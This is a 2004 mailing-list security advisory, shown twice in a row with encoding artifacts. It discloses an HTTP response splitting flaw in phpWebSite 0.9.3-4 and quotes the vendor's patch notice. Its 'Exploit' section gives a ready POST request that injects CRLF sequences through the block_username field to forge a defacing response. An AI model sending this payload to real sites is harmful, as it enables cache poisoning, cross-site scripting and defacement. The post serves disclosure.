Maestro De-Seguridad
12/11/04, 02:15
ADVISORY
=20
Author: Maestro (me!)
=20
Date: 11-NOV-04
=20
Vendor: Appalachian State University (http://phpwebsite.appstate.edu/)
=20
Product: phpWebSite 0.9.3-4
Product description (from vendor website):
phpWebSite provides a complete web site content management system. Web-base=
d administration allows for easy maintenance of interactive, community-driv=
en web sites.
phpWebSite's growing number of modules allow for easy site customization wi=
thout the need for unwanted or unused features. Client output from phpWebSi=
te is valid XHTML 1.0 and meets the W3C's Web Accessibility Initiative requ=
irements.
phpWebSite is written in the PHP Programming Language, making it ideal for =
developers to write customized modules.
Problem: Http response splitting (web cache poisoning, xss,=20
yadayadayada) - http://www.packetstormsecurity.org/papers/general/whitepape=
r_httpresponse.pdf
=20
Exploit:
POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive
module=3Duser&norm_user_op=3Dlogin&block_username=3D%0d%0aContent-Length:%2=
00%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Ty=
pe:%20text/html%0d%0a%0d%0a{html}This site in 0wned{/html}&password=3Dfoobar
(replace curly braces with lessthan and greaterthan)
Vendor status: The vendor fixed this problem (11-NOV-04).=20
=46rom vendor security mail list:
A security vulnerability was brought to our attention recently and we
have posted a patch to resolve this issue. The patch can be
downloaded
from here:
http://phpwebsite.appstate.edu/downloads/security/phpwebsite-core-security-=
patch2.tar.gz
md5sum: fcefda44a8d691c844593d815479a1ce
This patch should only be applied to versions 0.9.3-2 or greater. All
you need to do is untar the file in the base directory of your
phpwebsite install.
--=20
_______________________________________________
Find what you are looking for with the Lycos Yellow Pages
http://r.lycos.com/r/yp_emailfooter/http://yellowpages.lycos.com/default.as=
p?SRC=3Dlycos10
=20
Author: Maestro (me!)
=20
Date: 11-NOV-04
=20
Vendor: Appalachian State University (http://phpwebsite.appstate.edu/)
=20
Product: phpWebSite 0.9.3-4
Product description (from vendor website):
phpWebSite provides a complete web site content management system. Web-base=
d administration allows for easy maintenance of interactive, community-driv=
en web sites.
phpWebSite's growing number of modules allow for easy site customization wi=
thout the need for unwanted or unused features. Client output from phpWebSi=
te is valid XHTML 1.0 and meets the W3C's Web Accessibility Initiative requ=
irements.
phpWebSite is written in the PHP Programming Language, making it ideal for =
developers to write customized modules.
Problem: Http response splitting (web cache poisoning, xss,=20
yadayadayada) - http://www.packetstormsecurity.org/papers/general/whitepape=
r_httpresponse.pdf
=20
Exploit:
POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive
module=3Duser&norm_user_op=3Dlogin&block_username=3D%0d%0aContent-Length:%2=
00%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Ty=
pe:%20text/html%0d%0a%0d%0a{html}This site in 0wned{/html}&password=3Dfoobar
(replace curly braces with lessthan and greaterthan)
Vendor status: The vendor fixed this problem (11-NOV-04).=20
=46rom vendor security mail list:
A security vulnerability was brought to our attention recently and we
have posted a patch to resolve this issue. The patch can be
downloaded
from here:
http://phpwebsite.appstate.edu/downloads/security/phpwebsite-core-security-=
patch2.tar.gz
md5sum: fcefda44a8d691c844593d815479a1ce
This patch should only be applied to versions 0.9.3-2 or greater. All
you need to do is untar the file in the base directory of your
phpwebsite install.
--=20
_______________________________________________
Find what you are looking for with the Lycos Yellow Pages
http://r.lycos.com/r/yp_emailfooter/http://yellowpages.lycos.com/default.as=
p?SRC=3Dlycos10